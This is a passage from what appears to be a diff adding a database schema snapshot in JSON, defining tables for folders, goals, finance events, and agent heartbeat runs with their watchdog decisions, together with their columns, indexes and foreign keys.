+          "name": "finance_events_issue_id_issues_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "finance_events_project_id_projects_id_fk": {
+          "name": "finance_events_project_id_projects_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_goal_id_goals_id_fk": {
+          "name": "finance_events_goal_id_goals_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "finance_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "finance_events_cost_event_id_cost_events_id_fk": {
+          "name": "finance_events_cost_event_id_cost_events_id_fk",
+          "tableFrom": "finance_events",
+          "tableTo": "cost_events",
+          "columnsFrom": [
+            "cost_event_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.folders": {
+      "name": "folders",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "system_key": {
+          "name": "system_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "folders_company_kind_position_idx": {
+          "name": "folders_company_kind_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_root_slug_uq": {
+          "name": "folders_company_kind_root_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_slug_uq": {
+          "name": "folders_company_kind_parent_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"parent_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_system_key_uq": {
+          "name": "folders_company_kind_system_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "system_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"folders\".\"system_key\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "folders_company_kind_parent_position_idx": {
+          "name": "folders_company_kind_parent_position_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "folders_company_id_companies_id_fk": {
+          "name": "folders_company_id_companies_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "folders_parent_id_folders_id_fk": {
+          "name": "folders_parent_id_folders_id_fk",
+          "tableFrom": "folders",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.goals": {
+      "name": "goals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'task'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'planned'"
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "goals_company_idx": {
+          "name": "goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "goals_company_id_companies_id_fk": {
+          "name": "goals_company_id_companies_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_parent_id_goals_id_fk": {
+          "name": "goals_parent_id_goals_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_owner_agent_id_agents_id_fk": {
+          "name": "goals_owner_agent_id_agents_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_events": {
+      "name": "heartbeat_run_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "bigserial",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "seq": {
+          "name": "seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stream": {
+          "name": "stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_events_run_seq_idx": {
+          "name": "heartbeat_run_events_run_seq_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "seq",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_run_idx": {
+          "name": "heartbeat_run_events_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_created_idx": {
+          "name": "heartbeat_run_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_events_company_id_companies_id_fk": {
+          "name": "heartbeat_run_events_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_events_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_watchdog_decisions": {
+      "name": "heartbeat_run_watchdog_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evaluation_issue_id": {
+          "name": "evaluation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_watchdog_decisions_company_run_created_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_watchdog_decisions_company_run_snooze_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_snooze_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "snoozed_until",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_watchdog_decisions_company_id_companies_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "evaluation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_runs": {
+      "name": "heartbeat_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_source": {
+          "name": "invocation_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'on_demand'"
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "wakeup_request_id": {
+          "name": "wakeup_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signal": {
+          "name": "signal",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_json": {
+          "name": "usage_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_json": {
+          "name": "result_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_before": {
+          "name": "session_id_before",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_after": {
+          "name": "session_id_after",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_run_id": {
+          "name": "external_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_pid": {
+          "name": "process_pid",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_group_id": {
+          "name": "process_group_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_started_at": {
+          "name": "process_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_at": {
+          "name": "last_output_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_seq": {
+          "name": "last_output_seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_output_stream": {
+          "name": "last_output_stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_bytes": {
+          "name": "last_output_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_run_id": {
+          "name": "retry_of_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_loss_retry_count": {
+          "name": "process_loss_retry_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_at": {
+          "name": "scheduled_retry_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scheduled_retry_attempt": {
+          "name": "scheduled_retry_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_reason": {
+          "name": "scheduled_retry_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_status": {
+          "name": "issue_comment_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_applicable'"
+        },
+        "issue_comment_satisfied_by_comment_id": {
+          "name": "issue_comment_satisfied_by_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_retry_queued_at": {
+          "name": "issue_comment_retry_queued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_state": {
+          "name": "liveness_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_reason": {
+          "name": "liveness_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "continuation_attempt": {
+          "name": "continuation_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_useful_action_at": {
+          "name": "last_useful_action_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "context_snapshot": {
+          "name": "context_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_runs_company_agent_started_idx": {
+          "name": "heartbeat_runs_company_agent_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_responsible_user_idx": {
+          "name": "heartbeat_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_liveness_idx": {
+          "name": "heartbeat_runs_company_liveness_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "liveness_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_last_output_idx": {
+          "name": "heartbeat_runs_company_status_last_output_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_output_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_process_started_idx": {
+          "name": "heartbeat_runs_company_status_process_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "process_started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_created_at_desc_idx": {
+          "name": "heartbeat_runs_company_created_at_desc_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_issue_created_idx": {
+          "name": "heartbeat_runs_company_ctx_issue_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_task_created_idx": {
+          "name": "heartbeat_runs_company_ctx_task_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_taskkey_created_idx": {
+          "name": "heartbeat_runs_company_ctx_taskkey_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskKey')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_runs_company_id_companies_id_fk": {
+          "name": "heartbeat_runs_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
